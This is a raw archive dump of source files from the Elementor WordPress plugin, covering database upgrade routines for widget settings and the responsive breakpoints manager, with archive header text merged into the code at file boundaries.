[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$\' AND m.`meta_key` = \'_elementor_data\';' ); if ( empty( $posts ) ) { return; } foreach ( $posts as $post ) { $parent = get_post( $post->post_parent ); $title = isset( $parent->post_title ) ? $parent->post_title : ''; wp_update_post( [ 'ID' => $post->ID, 'post_title' => $title, ] ); } } public static function _v_2_1_0() { global $wpdb; // upgrade `video` widget settings (merge providers). $post_ids = $wpdb->get_col( 'SELECT `post_id` FROM `' . $wpdb->postmeta . '` WHERE `meta_key` = "_elementor_data" AND `meta_value` LIKE \'%"widgetType":"video"%\';' ); if ( empty( $post_ids ) ) { return; } foreach ( $post_ids as $post_id ) { $do_update = false; $document = Plugin::$instance->documents->get( $post_id ); if ( $document ) { $data = $document->get_elements_data(); } if ( empty( $data ) ) { continue; } $data = Plugin::$instance->db->iterate_data( $data, function( $element ) use ( &$do_update ) { if ( empty( $element['widgetType'] ) || 'video' !== $element['widgetType'] ) { return $element; } $replacements = []; if ( empty( $element['settings']['video_type'] ) || 'youtube' === $element['settings']['video_type'] ) { $replacements = [ 'yt_autoplay' => 'autoplay', 'yt_controls' => 'controls', 'yt_mute' => 'mute', 'yt_rel' => 'rel', 'link' => 'youtube_url', ]; } elseif ( 'vimeo' === $element['settings']['video_type'] ) { $replacements = [ 'vimeo_autoplay' => 'autoplay', 'vimeo_loop' => 'loop', 'vimeo_color' => 'color', 'vimeo_link' => 'vimeo_url', ]; } // cleanup old unused settings. unset( $element['settings']['yt_rel_videos'] ); foreach ( $replacements as $old => $new ) { if ( ! empty( $element['settings'][ $old ] ) ) { $element['settings'][ $new ] = $element['settings'][ $old ]; $do_update = true; } } return $element; } ); // Only update if needed. if ( ! $do_update ) { continue; } // We need the `wp_slash` in order to avoid the unslashing during the `update_post_meta` $json_value = wp_slash( wp_json_encode( $data ) ); update_metadata( 'post', $post_id, '_elementor_data', $json_value ); // Clear WP cache for next step. wp_cache_flush(); } // End foreach(). } /** * @param Updater $updater * * @return bool */ public static function _v_2_3_0_widget_image( $updater ) { global $wpdb; // upgrade `video` widget settings (merge providers). $post_ids = $updater->query_col( 'SELECT `post_id` FROM `' . $wpdb->postmeta . '` WHERE `meta_key` = "_elementor_data" AND ( `meta_value` LIKE \'%"widgetType":"image"%\' OR `meta_value` LIKE \'%"widgetType":"theme-post-featured-image"%\' OR `meta_value` LIKE \'%"widgetType":"theme-site-logo"%\' OR `meta_value` LIKE \'%"widgetType":"woocommerce-category-image"%\' );' ); if ( empty( $post_ids ) ) { return false; } $widgets = [ 'image', 'theme-post-featured-image', 'theme-site-logo', 'woocommerce-category-image', ]; foreach ( $post_ids as $post_id ) { // Clear WP cache for next step. wp_cache_flush(); $do_update = false; $document = Plugin::$instance->documents->get( $post_id ); if ( ! $document ) { continue; } $data = $document->get_elements_data(); if ( empty( $data ) ) { continue; } $data = Plugin::$instance->db->iterate_data( $data, function( $element ) use ( &$do_update, $widgets ) { if ( empty( $element['widgetType'] ) || ! in_array( $element['widgetType'], $widgets ) ) { return $element; } if ( ! empty( $element['settings']['caption'] ) ) { if ( ! isset( $element['settings']['caption_source'] ) ) { $element['settings']['caption_source'] = 'custom'; $do_update = true; } } return $element; } ); // Only update if needed. if ( ! $do_update ) { continue; } // We need the `wp_slash` in order to avoid the unslashing during the `update_post_meta` $json_value = wp_slash( wp_json_encode( $data ) ); update_metadata( 'post', $post_id, '_elementor_data', $json_value ); } // End foreach(). return $updater->should_run_again( $post_ids ); } /** * @param Updater $updater * * @return bool */ public static function _v_2_3_0_template_type( $updater ) { global $wpdb; $post_ids = $updater->query_col( 'SELECT p.ID FROM `' . $wpdb->posts . '` AS p LEFT JOIN `' . $wpdb->postmeta . '` AS pm1 ON (p.ID = pm1.post_id) LEFT JOIN `' . $wpdb->postmeta . '` AS pm2 ON (pm1.post_id = pm2.post_id AND pm2.meta_key = "_elementor_template_type") WHERE p.post_status != "inherit" AND pm1.`meta_key` = "_elementor_data" AND pm2.post_id IS NULL;' ); if ( empty( $post_ids ) ) { return false; } foreach ( $post_ids as $post_id ) { // Clear WP cache for next step. wp_cache_flush(); $document = Plugin::$instance->documents->get( $post_id ); if ( ! $document ) { continue; } $document->save_template_type(); } // End foreach(). return $updater->should_run_again( $post_ids ); } /** * Set FontAwesome Migration needed flag */ public static function _v_2_6_0_fa4_migration_flag() { add_option( 'elementor_icon_manager_needs_update', 'yes' ); add_option( 'elementor_load_fa4_shim', 'yes' ); } /** * migrate Icon control string value to Icons control array value * * @param array $element * @param array $args * * @return mixed */ public static function _migrate_icon_fa4_value( $element, $args ) { $widget_id = $args['widget_id']; if ( empty( $element['widgetType'] ) || $widget_id !== $element['widgetType'] ) { return $element; } foreach ( $args['control_ids'] as $old_name => $new_name ) { // exit if new value exists if ( isset( $element['settings'][ $new_name ] ) ) { continue; } // exit if no value to migrate if ( ! isset( $element['settings'][ $old_name ] ) ) { continue; } $element['settings'][ $new_name ] = Icons_Manager::fa4_to_fa5_value_migration( $element['settings'][ $old_name ] ); $args['do_update'] = true; } return $element; } /** * Set FontAwesome 5 value Migration on for button widget * * @param Updater $updater */ public static function _v_2_6_6_fa4_migration_button( $updater ) { $changes = [ [ 'callback' => [ 'Elementor\Core\Upgrade\Upgrades', '_migrate_icon_fa4_value' ], 'control_ids' => [ 'icon' => 'selected_icon', ], ], ]; Upgrade_Utils::_update_widget_settings( 'button', $updater, $changes ); Upgrade_Utils::_update_widget_settings( 'icon-box', $updater, $changes ); } /** * Update database to separate page from post. * * @param Updater $updater * * @param string $type * * @return bool */ public static function rename_document_base_to_wp( $updater, $type ) { global $wpdb; $post_ids = $updater->query_col( $wpdb->prepare( "SELECT p1.ID FROM {$wpdb->posts} AS p LEFT JOIN {$wpdb->posts} AS p1 ON (p.ID = p1.post_parent || p.ID = p1.ID) WHERE p.post_type = %s;", $type ) ); if ( empty( $post_ids ) ) { return false; } $sql_post_ids = implode( ',', $post_ids ); $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->postmeta SET meta_value = %s WHERE meta_key = '_elementor_template_type' && post_id in ( %s ); ", 'wp-' . $type, $sql_post_ids ) ); return $updater->should_run_again( $post_ids ); } /** * Update database to separate page from post. * * @param Updater $updater * * @return bool */ // Because the query is slow on large sites, temporary don't upgrade. /* public static function _v_2_7_0_rename_document_types_to_wp( $updater ) { return self::rename_document_base_to_wp( $updater, 'post' ) || self::rename_document_base_to_wp( $updater, 'page' ); }*/ // Upgrade code was fixed & moved to _v_2_7_1_remove_old_usage_data. /* public static function _v_2_7_0_remove_old_usage_data() {} */ // Upgrade code moved to _v_2_7_1_recalc_usage_data. /* public static function _v_2_7_0_recalc_usage_data( $updater ) {} */ /** * Don't use the old data anymore. * Since 2.7.1 the key was changed from `elementor_elements_usage` to `elementor_controls_usage`. */ public static function _v_2_7_1_remove_old_usage_data() { delete_option( 'elementor_elements_usage' ); delete_post_meta_by_key( '_elementor_elements_usage' ); } /** * Recalc usage. * * @param Updater $updater * * @return bool */ public static function recalc_usage_data( $updater ) { if ( ! Tracker::is_allow_track() ) { return false; } /** @var Module $module */ $module = Plugin::$instance->modules_manager->get_modules( 'usage' ); $post_count = $module->recalc_usage( $updater->get_limit(), $updater->get_current_offset() ); return ( $post_count === $updater->get_limit() ); } public static function _v_2_7_1_recalc_usage_data( $updater ) { return self::recalc_usage_data( $updater ); } public static function _v_2_8_3_recalc_usage_data( $updater ) { // Re-calc since older version(s) had invalid values. return self::recalc_usage_data( $updater ); } /** * Move general & lightbox settings to active kit and all it's revisions. * * @param Updater $updater * * @return bool */ public static function _v_3_0_0_move_general_settings_to_kit( $updater ) { $callback = function( $kit_id ) { $kit = Plugin::$instance->documents->get( $kit_id ); if ( ! $kit ) { self::notice( 'Kit not found. nothing to do.' ); return; } $meta_key = SettingsPageManager::META_KEY; $current_settings = get_option( '_elementor_general_settings', [] ); // Take the `space_between_widgets` from the option due to a bug on E < 3.0.0 that the value `0` is stored separated. $current_settings['space_between_widgets'] = get_option( 'elementor_space_between_widgets', '' ); $current_settings[ Breakpoints_Manager::BREAKPOINT_SETTING_PREFIX . 'md' ] = get_option( 'elementor_viewport_md', '' ); $current_settings[ Breakpoints_Manager::BREAKPOINT_SETTING_PREFIX . 'lg' ] = get_option( 'elementor_viewport_lg', '' ); $kit_settings = $kit->get_meta( $meta_key ); // Already exist. if ( isset( $kit_settings['default_generic_fonts'] ) ) { self::notice( 'General Settings already exist. nothing to do.' ); return; } if ( empty( $current_settings ) ) { self::notice( 'Current settings are empty. nothing to do.' ); return; } if ( ! $kit_settings ) { $kit_settings = []; } // Convert some setting to Elementor slider format. $settings_to_slider = [ 'container_width', 'space_between_widgets', ]; foreach ( $settings_to_slider as $setting ) { if ( isset( $current_settings[ $setting ] ) ) { $current_settings[ $setting ] = [ 'unit' => 'px', 'size' => $current_settings[ $setting ], ]; } } $kit_settings = array_merge( $kit_settings, $current_settings ); $page_settings_manager = SettingsManager::get_settings_managers( 'page' ); $page_settings_manager->save_settings( $kit_settings, $kit_id ); }; return self::move_settings_to_kit( $callback, $updater ); } public static function _v_3_2_0_migrate_breakpoints_to_new_system( $updater, $include_revisions = true ) { $callback = function( $kit_id ) { $kit = Plugin::$instance->documents->get( $kit_id ); $kit_settings = $kit->get_meta( SettingsPageManager::META_KEY ); if ( ! $kit_settings ) { // Nothing to upgrade. return; } $prefix = Breakpoints_Manager::BREAKPOINT_SETTING_PREFIX; $old_mobile_option_key = $prefix . 'md'; $old_tablet_option_key = $prefix . 'lg'; $breakpoint_values = [ $old_mobile_option_key => Plugin::$instance->kits_manager->get_current_settings( $old_mobile_option_key ), $old_tablet_option_key => Plugin::$instance->kits_manager->get_current_settings( $old_tablet_option_key ), ]; // Breakpoint values are either a number, or an empty string (empty setting). array_walk( $breakpoint_values, function( &$breakpoint_value, $breakpoint_key ) { if ( $breakpoint_value ) { // If the saved breakpoint value is a number, 1px is reduced because the new breakpoints system is // based on max-width, as opposed to the old breakpoints system that worked based on min-width. $breakpoint_value--; } return $breakpoint_value; } ); $kit_settings[ $prefix . Breakpoints_Manager::BREAKPOINT_KEY_MOBILE ] = $breakpoint_values[ $old_mobile_option_key ]; $kit_settings[ $prefix . Breakpoints_Manager::BREAKPOINT_KEY_TABLET ] = $breakpoint_values[ $old_tablet_option_key ]; $page_settings_manager = SettingsManager::get_settings_managers( 'page' ); $page_settings_manager->save_settings( $kit_settings, $kit_id ); }; return self::move_settings_to_kit( $callback, $updater, $include_revisions ); } public static function _v_3_4_8_fix_font_awesome_default_value_from_1_to_yes() { // if `Icons_Manager::LOAD_FA4_SHIM_OPTION_KEY` value is '1', then set it to `yes`. $load_fa4_shim_option = get_option( Icons_Manager::LOAD_FA4_SHIM_OPTION_KEY ); if ( '1' === $load_fa4_shim_option ) { update_option( Icons_Manager::LOAD_FA4_SHIM_OPTION_KEY, 'yes' ); } } public static function _v_3_5_0_remove_old_elementor_scheme() { global $wpdb; $wpdb->query( "DELETE FROM {$wpdb->options} WHERE option_name LIKE 'elementor_scheme_%';" ); } public static function _v_3_8_0_fix_php8_image_custom_size() { global $wpdb; $attachment_ids = $wpdb->get_col( 'SELECT `post_id` FROM `' . $wpdb->postmeta . '` WHERE `meta_key` = "_wp_attachment_metadata" AND ( `meta_value` LIKE \'%elementor_custom_%\' );' ); foreach ( $attachment_ids as $attachment_id ) { $attachment_metadata = wp_get_attachment_metadata( $attachment_id ); if ( empty( $attachment_metadata['sizes'] ) || ! is_array( $attachment_metadata['sizes'] ) ) { continue; } $old_attachment_metadata = $attachment_metadata; foreach ( $attachment_metadata['sizes'] as $size_key => $size_value ) { if ( 0 !== strpos( $size_key, 'elementor_custom_' ) ) { continue; } if ( absint( $size_value['width'] ) !== $size_value['width'] ) { $attachment_metadata['sizes'][ $size_key ]['width'] = (int) $size_value['width']; } if ( absint( $size_value['height'] ) !== $size_value['height'] ) { $attachment_metadata['sizes'][ $size_key ]['height'] = (int) $size_value['height']; } } if ( $old_attachment_metadata['sizes'] === $attachment_metadata['sizes'] ) { continue; } wp_update_attachment_metadata( $attachment_id, $attachment_metadata ); } } public static function _v_3_16_0_container_updates( $updater ) { $post_ids = self::get_post_ids_by_element_type( $updater, 'container' ); if ( empty( $post_ids ) ) { return false; } foreach ( $post_ids as $post_id ) { $document = Plugin::$instance->documents->get( $post_id ); if ( $document ) { $data = $document->get_elements_data(); } if ( empty( $data ) ) { continue; } $data = self::iterate_containers( $data ); self::save_updated_document( $post_id, $data ); } } public static function _v_3_17_0_site_settings_updates() { $options = [ 'elementor_active_kit', 'elementor_previous_kit' ]; foreach ( $options as $option_name ) { self::maybe_add_gap_control_data( $option_name ); } } private static function maybe_add_gap_control_data( $option_name ) { $kit_id = get_option( $option_name ); if ( ! $kit_id ) { return; } $kit_data_array = get_post_meta( (int) $kit_id, '_elementor_page_settings', true ); $setting_not_exist = ! isset( $kit_data_array['space_between_widgets'] ); $already_processed = isset( $kit_data_array['space_between_widgets']['column'] ); if ( $setting_not_exist || $already_processed ) { return; } $kit_data_array['space_between_widgets'] = Utils::update_space_between_widgets_values( $kit_data_array['space_between_widgets'] ); update_post_meta( (int) $kit_id, '_elementor_page_settings', $kit_data_array ); } public static function remove_remote_info_api_data() { global $wpdb; $key = Api::TRANSIENT_KEY_PREFIX; return $wpdb->query( "DELETE FROM {$wpdb->options} WHERE option_name LIKE '{$key}%';" ); // phpcs:ignore } /** * @param callback $callback * @param Updater $updater * * @param bool $include_revisions * * @return mixed */ private static function move_settings_to_kit( $callback, $updater, $include_revisions = true ) { $active_kit_id = Plugin::$instance->kits_manager->get_active_id(); if ( ! $active_kit_id ) { self::notice( 'Active kit not found. nothing to do.' ); return false; } $offset = $updater->get_current_offset(); // On first iteration apply on active kit itself. // (don't include it with revisions in order to avoid offset/iteration count wrong numbers) if ( 0 === $offset ) { $callback( $active_kit_id ); } if ( ! $include_revisions ) { return false; } $revisions_ids = wp_get_post_revisions( $active_kit_id, [ 'fields' => 'ids', 'posts_per_page' => $updater->get_limit(), 'offset' => $offset, ] ); foreach ( $revisions_ids as $revision_id ) { $callback( $revision_id ); } return $updater->should_run_again( $revisions_ids ); } private static function notice( $message ) { $logger = Plugin::$instance->logger->get_logger(); $logger->notice( $message ); } /** * @param \wpdb $wpdb * @param string $element_type * * @return array */ public static function get_post_ids_by_element_type( $updater, string $element_type ): array { global $wpdb; return $updater->query_col( 'SELECT `post_id` FROM `' . $wpdb->postmeta . '` WHERE `meta_key` = "_elementor_data" AND `meta_value` LIKE \'%"elType":"' . $element_type . '"%\';' ); } /** * @param $data * * @return array|mixed */ private static function iterate_containers( $data ) { return Plugin::$instance->db->iterate_data( $data, function ( $element ) { if ( 'container' !== $element['elType'] || ! isset( $element['elements'] ) ) { return $element; } $element = self::maybe_convert_to_inner_container( $element ); $element = self::maybe_convert_to_grid_container( $element ); return Container::slider_to_gaps_converter( $element ); } ); } /** * @param $element * * @return array */ private static function maybe_convert_to_inner_container( $element ) { foreach ( $element['elements'] as &$inner_element ) { if ( 'container' === $inner_element['elType'] && ! $inner_element['isInner'] ) { $inner_element['isInner'] = true; } } return $element; } /** * @param $element * * @return array */ private static function maybe_convert_to_grid_container( $element ) { $is_grid_container = isset( $element['settings']['container_type'] ) && 'grid' === $element['settings']['container_type']; if ( 'container' !== $element['elType'] || empty( $element['settings'] ) || ! $is_grid_container ) { return $element; } $element['settings']['presetTitle'] = 'Grid'; $element['settings']['presetIcon'] = 'eicon-container-grid'; return $element; } /** * @param $post_id * @param $data * * @return void */ private static function save_updated_document( $post_id, $data ) { $json_value = wp_slash( wp_json_encode( $data ) ); update_metadata( 'post', $post_id, '_elementor_data', $json_value ); } } core/upgrade/upgrade-utils.php000064400000003446147206604650012442 0ustar00query_col( 'SELECT `post_id` FROM `' . $wpdb->postmeta . '` WHERE `meta_key` = "_elementor_data" AND `meta_value` LIKE \'%"widgetType":"' . $widget_id . '"%\';' ); if ( empty( $post_ids ) ) { return false; } foreach ( $post_ids as $post_id ) { $do_update = false; $document = Plugin::instance()->documents->get( $post_id ); if ( ! $document ) { continue; } $data = $document->get_elements_data(); if ( empty( $data ) ) { continue; } // loop thru callbacks & array foreach ( $changes as $change ) { $args = [ 'do_update' => &$do_update, 'widget_id' => $widget_id, 'control_ids' => $change['control_ids'], ]; if ( isset( $change['prefix'] ) ) { $args['prefix'] = $change['prefix']; $args['new_id'] = $change['new_id']; } $data = Plugin::instance()->db->iterate_data( $data, $change['callback'], $args ); if ( ! $do_update ) { continue; } // We need the `wp_slash` in order to avoid the unslashing during the `update_metadata` $json_value = wp_slash( wp_json_encode( $data ) ); update_metadata( 'post', $post_id, '_elementor_data', $json_value ); } } // End foreach(). return $updater->should_run_again( $post_ids ); } } core/upgrade/manager.php000064400000004405147206604650011263 0ustar00get_plugin_name() ) && version_compare( get_option( $this->get_version_option_name() ), '2.4.2', '<' ) ) { delete_option( 'elementor_log' ); } return parent::should_upgrade(); } public function get_name() { return 'upgrade'; } public function get_action() { return 'elementor_updater'; } public function get_plugin_name() { return 'elementor'; } public function get_plugin_label() { return esc_html__( 'Elementor', 'elementor' ); } public function get_updater_label() { return esc_html__( 'Elementor Data Updater', 'elementor' ); } public function get_new_version() { return ELEMENTOR_VERSION; } public function get_version_option_name() { return 'elementor_version'; } public function get_upgrades_class() { return 'Elementor\Core\Upgrade\Upgrades'; } public static function get_installs_history() { return get_option( static::get_install_history_meta(), [] ); } public static function install_compare( $version, $operator ) { $installs_history = self::get_installs_history(); return version_compare( key( $installs_history ), $version ? $version : '0.0.0', // when no version assigned $operator ); } protected function update_db_version() { parent::update_db_version(); $installs_history = self::get_installs_history(); $time = time(); $installs_history[ $this->get_new_version() ] = $time; $old_version = $this->get_current_version(); // If there was an old version of Elementor, and there's no record for that install yet if ( $old_version && empty( $installs_history[ $old_version ] ) ) { $installs_history[ $old_version ] = $installs_history[ $this->get_new_version() ] - 1; } uksort( $installs_history, 'version_compare' ); update_option( static::get_install_history_meta(), $installs_history ); } } core/upgrade/custom-tasks.php000064400000000564147206604650012310 0ustar00get_custom_tasks(); if ( empty( $custom_tasks_callbacks ) ) { return; } $task_runner = $this->get_task_runner(); foreach ( $custom_tasks_callbacks as $callback ) { $task_runner->push_to_queue( [ 'callback' => $callback, ] ); } $this->clear_tasks_requested_to_run(); Plugin::$instance->logger->get_logger()->info( 'Elementor custom task(s) process has been queued.', [ 'meta' => [ $custom_tasks_callbacks ], ] ); $task_runner->save()->dispatch(); } public function get_tasks_class() { return Custom_Tasks::class; } public function get_tasks_requested_to_run() { return get_option( self::TASKS_OPTION_KEY, [] ); } public function clear_tasks_requested_to_run() { return update_option( self::TASKS_OPTION_KEY, [], false ); } public function add_tasks_requested_to_run( $tasks = [] ) { $current_tasks = $this->get_tasks_requested_to_run(); $current_tasks = array_merge( $current_tasks, $tasks ); update_option( self::TASKS_OPTION_KEY, $current_tasks, false ); } private function get_custom_tasks() { $tasks_requested_to_run = $this->get_tasks_requested_to_run(); $tasks_class = $this->get_tasks_class(); $tasks_reflection = new \ReflectionClass( $tasks_class ); $callbacks = []; foreach ( $tasks_reflection->getMethods() as $method ) { $method_name = $method->getName(); if ( in_array( $method_name, $tasks_requested_to_run, true ) ) { $callbacks[] = [ $tasks_class, $method_name ]; } } return $callbacks; } public function __construct() { $task_runner = $this->get_task_runner(); if ( $task_runner->is_running() ) { return; } $this->start_run(); } } core/app/modules/onboarding/module.php000064400000000720147206604650014055 0ustar00common->get_component( 'connect' )->get_app( 'kit-library' ); return $kit_library && $kit_library->is_connected(); } } core/app/app.php000064400000000543147206604650007561 0ustar00name; } /** * Is Enabled * * Check if the breakpoint is enabled or not. The breakpoint instance receives this data from * the Breakpoints Manager. * * @return bool $is_enabled class variable */ public function is_enabled() { return $this->is_enabled; } /** * Get Label * * Retrieve the breakpoint label. * * @since 3.2.0 * * @return string $label class variable */ public function get_label() { return $this->label; } /** * Get Value * * Retrieve the saved breakpoint value. * * @since 3.2.0 * * @return int $value class variable */ public function get_value() { if ( ! $this->value ) { $this->init_value(); } return $this->value; } /** * Is Custom * * Check if the breakpoint's value is a custom or default value. * * @since 3.2.0 * * @return bool $is_custom class variable */ public function is_custom() { if ( ! $this->is_custom ) { $this->get_value(); } return $this->is_custom; } /** * Get Default Value * * Returns the Breakpoint's default value. * * @since 3.2.0 * * @return int $default_value class variable */ public function get_default_value() { return $this->default_value; } /** * Get Direction * * Returns the Breakpoint's direction ('min'/'max'). * * @since 3.2.0 * * @return string $direction class variable */ public function get_direction() { return $this->direction; } /** * Set Value * * Set the `$value` class variable and the `$is_custom` class variable. * * @since 3.2.0 * * @return int $value class variable */ private function init_value() { $cached_value = Plugin::$instance->kits_manager->get_current_settings( $this->db_key ); if ( $cached_value ) { $this->value = (int) $cached_value; $this->is_custom = $this->value !== $this->default_value; } else { $this->value = $this->default_value; $this->is_custom = false; } return $this->value; } public function __construct( $args ) { $this->name = $args['name']; $this->label = $args['label']; // Used for CSS generation $this->db_key = Breakpoints_Manager::BREAKPOINT_SETTING_PREFIX . $args['name']; $this->direction = $args['direction']; $this->is_enabled = $args['is_enabled']; $this->default_value = $args['default_value']; } } core/breakpoints/manager.php000064400000036633147206604650012165 0ustar00 'active' => true`. * * When generating Post CSS, the mode is set to 'on'. When generating Dynamic CSS, the mode is set to 'dynamic'. * * default value is 'off'. * * @since 3.4.0 * @access private * * @var string */ private $responsive_control_duplication_mode = 'off'; private $icons_map; /** * Has Custom Breakpoints * * A flag that holds a cached value that indicates if there are active custom-breakpoints. * * @since 3.5.0 * @access private * * @var boolean */ private $has_custom_breakpoints; public function get_name() { return 'breakpoints'; } /** * Get Breakpoints * * Retrieve the array containing instances of all breakpoints existing in the system, or a single breakpoint if a * name is passed. * * @since 3.2.0 * * @param $breakpoint_name * @return Breakpoint[]|Breakpoint */ public function get_breakpoints( $breakpoint_name = null ) { if ( ! $this->breakpoints ) { $this->init_breakpoints(); } return self::get_items( $this->breakpoints, $breakpoint_name ); } /** * Get Active Breakpoints * * Retrieve the array of --enabled-- breakpoints, or a single breakpoint if a name is passed. * * @since 3.2.0 * * @param string|null $breakpoint_name * @return Breakpoint[]|Breakpoint */ public function get_active_breakpoints( $breakpoint_name = null ) { if ( ! $this->active_breakpoints ) { $this->init_active_breakpoints(); } return self::get_items( $this->active_breakpoints, $breakpoint_name ); } /** * Get Active Devices List * * Retrieve an array containing the keys of all active devices, including 'desktop'. * * @since 3.2.0 * * @param array $args * @return array */ public function get_active_devices_list( $args = [] ) { $default_args = [ 'add_desktop' => true, 'reverse' => false, 'desktop_first' => false, ]; $args = array_merge( $default_args, $args ); $active_devices = array_keys( Plugin::$instance->breakpoints->get_active_breakpoints() ); if ( $args['add_desktop'] ) { // Insert the 'desktop' device in the correct position. if ( ! $args['desktop_first'] && in_array( 'widescreen', $active_devices, true ) ) { $widescreen_index = array_search( 'widescreen', $active_devices, true ); array_splice( $active_devices, $widescreen_index, 0, [ 'desktop' ] ); } else { $active_devices[] = 'desktop'; } } if ( $args['reverse'] ) { $active_devices = array_reverse( $active_devices ); } return $active_devices; } /** Has Custom Breakpoints * * Checks whether there are currently custom breakpoints saved in the database. * Returns true if there are breakpoint values saved in the active kit. * If the user has activated any additional custom breakpoints (mobile extra, tablet extra, laptop, widescreen) - * that is considered as having custom breakpoints. * * @since 3.2.0 * * @return boolean */ public function has_custom_breakpoints() { if ( isset( $this->has_custom_breakpoints ) ) { return $this->has_custom_breakpoints; } $breakpoints = $this->get_active_breakpoints(); $additional_breakpoints = [ self::BREAKPOINT_KEY_MOBILE_EXTRA, self::BREAKPOINT_KEY_TABLET_EXTRA, self::BREAKPOINT_KEY_LAPTOP, self::BREAKPOINT_KEY_WIDESCREEN, ]; foreach ( $breakpoints as $breakpoint_name => $breakpoint ) { if ( in_array( $breakpoint_name, $additional_breakpoints, true ) ) { $this->has_custom_breakpoints = true; return true; } /** @var Breakpoint $breakpoint */ if ( $breakpoint->is_custom() ) { $this->has_custom_breakpoints = true; return true; } } $this->has_custom_breakpoints = false; return false; } /** * Get Device Min Breakpoint * * For a given device, return the minimum possible breakpoint. Except for the cases of mobile and widescreen * devices, A device's min breakpoint is determined by the previous device's max breakpoint + 1px. * * @since 3.2.0 * * @param string $device_name * @return int the min breakpoint of the passed device */ public function get_device_min_breakpoint( $device_name ) { if ( 'desktop' === $device_name ) { return $this->get_desktop_min_point(); } $active_breakpoints = $this->get_active_breakpoints(); $current_device_breakpoint = $active_breakpoints[ $device_name ]; // Since this method is called multiple times, usage of class variables is to memory and processing time. // Get only the keys for active breakpoints. $breakpoint_keys = array_keys( $active_breakpoints ); if ( $breakpoint_keys[0] === $device_name ) { // For the lowest breakpoint, the min point is always 320. $min_breakpoint = 320; } elseif ( 'min' === $current_device_breakpoint->get_direction() ) { // 'min-width' breakpoints only have a minimum point. The breakpoint value itself the device min point. $min_breakpoint = $current_device_breakpoint->get_value(); } else { // This block handles all other devices. $device_name_index = array_search( $device_name, $breakpoint_keys, true ); $previous_index = $device_name_index - 1; $previous_breakpoint_key = $breakpoint_keys[ $previous_index ]; /** @var Breakpoint $previous_breakpoint */ $previous_breakpoint = $active_breakpoints[ $previous_breakpoint_key ]; $min_breakpoint = $previous_breakpoint->get_value() + 1; } return $min_breakpoint; } /** * Get Desktop Min Breakpoint * * Returns the minimum possible breakpoint for the default (desktop) device. * * @since 3.2.0 * * @return int the min breakpoint of the passed device */ public function get_desktop_min_point() { $active_breakpoints = $this->get_active_breakpoints(); $desktop_previous_device = $this->get_desktop_previous_device_key(); return $active_breakpoints[ $desktop_previous_device ]->get_value() + 1; } public function refresh() { unset( $this->has_custom_breakpoints ); $this->init_breakpoints(); $this->init_active_breakpoints(); } /** * Get Responsive Icons Classes Map * * If a $device parameter is passed, this method retrieves the device's icon class list (the ones attached to the `` * element). If no parameter is passed, it returns an array of devices containing each device's icon class list. * * This method was created because 'mobile_extra' and 'tablet_extra' breakpoint icons need to be tilted by 90 * degrees, and this tilt is achieved in CSS via the class `eicon-tilted`. * * @since 3.4.0 * * @return array|string */ public function get_responsive_icons_classes_map( $device = null ) { if ( ! $this->icons_map ) { $this->icons_map = [ 'mobile' => 'eicon-device-mobile', 'mobile_extra' => 'eicon-device-mobile eicon-tilted', 'tablet' => 'eicon-device-tablet', 'tablet_extra' => 'eicon-device-tablet eicon-tilted', 'laptop' => 'eicon-device-laptop', 'desktop' => 'eicon-device-desktop', 'widescreen' => 'eicon-device-wide', ]; } return self::get_items( $this->icons_map, $device ); } /** * Get Default Config * * Retrieve the default breakpoints config array. The 'selector' property is used for CSS generation (the * Stylesheet::add_device() method). * * @return array */ public static function get_default_config() { return [ self::BREAKPOINT_KEY_MOBILE => [ 'label' => esc_html__( 'Mobile Portrait', 'elementor' ), 'default_value' => 767, 'direction' => 'max', ], self::BREAKPOINT_KEY_MOBILE_EXTRA => [ 'label' => esc_html__( 'Mobile Landscape', 'elementor' ), 'default_value' => 880, 'direction' => 'max', ], self::BREAKPOINT_KEY_TABLET => [ 'label' => esc_html__( 'Tablet Portrait', 'elementor' ), 'default_value' => 1024, 'direction' => 'max', ], self::BREAKPOINT_KEY_TABLET_EXTRA => [ 'label' => esc_html__( 'Tablet Landscape', 'elementor' ), 'default_value' => 1200, 'direction' => 'max', ], self::BREAKPOINT_KEY_LAPTOP => [ 'label' => esc_html__( 'Laptop', 'elementor' ), 'default_value' => 1366, 'direction' => 'max', ], self::BREAKPOINT_KEY_WIDESCREEN => [ 'label' => esc_html__( 'Widescreen', 'elementor' ), 'default_value' => 2400, 'direction' => 'min', ], ]; } /** * Get Breakpoints Config * * Iterates over an array of all of the system's breakpoints (both active and inactive), queries each breakpoint's * class instance, and generates an array containing data on each breakpoint: its label, current value, direction * ('min'/'max') and whether it is enabled or not. * * @return array */ public function get_breakpoints_config() { $breakpoints = $this->get_breakpoints(); $config = []; foreach ( $breakpoints as $breakpoint_name => $breakpoint ) { $config[ $breakpoint_name ] = [ 'label' => $breakpoint->get_label(), 'value' => $breakpoint->get_value(), 'default_value' => $breakpoint->get_default_value(), 'direction' => $breakpoint->get_direction(), 'is_enabled' => $breakpoint->is_enabled(), ]; } return $config; } /** * Get Responsive Control Duplication Mode * * Retrieve the value of the $responsive_control_duplication_mode private class variable. * See the variable's PHPDoc for details. * * @since 3.4.0 * @access public */ public function get_responsive_control_duplication_mode() { return $this->responsive_control_duplication_mode; } /** * Set Responsive Control Duplication Mode * * Sets the value of the $responsive_control_duplication_mode private class variable. * See the variable's PHPDoc for details. * * @since 3.4.0 * * @access public * @param string $mode */ public function set_responsive_control_duplication_mode( $mode ) { $this->responsive_control_duplication_mode = $mode; } /** * Get Stylesheet Templates Path * * @since 3.2.0 * @access public * @static */ public static function get_stylesheet_templates_path() { return ELEMENTOR_ASSETS_PATH . 'css/templates/'; } /** * Compile Stylesheet Templates * * @since 3.2.0 * @access public * @static */ public static function compile_stylesheet_templates() { foreach ( self::get_stylesheet_templates() as $file_name => $template_path ) { $file = new Frontend( $file_name, $template_path ); $file->update(); } } /** * Init Breakpoints * * Creates the breakpoints array, containing instances of each breakpoint. Returns an array of ALL breakpoints, * both enabled and disabled. * * @since 3.2.0 */ private function init_breakpoints() { $breakpoints = []; $setting_prefix = self::BREAKPOINT_SETTING_PREFIX; $active_breakpoint_keys = [ $setting_prefix . self::BREAKPOINT_KEY_MOBILE, $setting_prefix . self::BREAKPOINT_KEY_TABLET, ]; if ( Plugin::$instance->experiments->is_feature_active( 'additional_custom_breakpoints' ) ) { $kit_active_id = Plugin::$instance->kits_manager->get_active_id(); // Get the breakpoint settings saved in the kit directly from the DB to avoid initializing the kit too early. $raw_kit_settings = get_post_meta( $kit_active_id, '_elementor_page_settings', 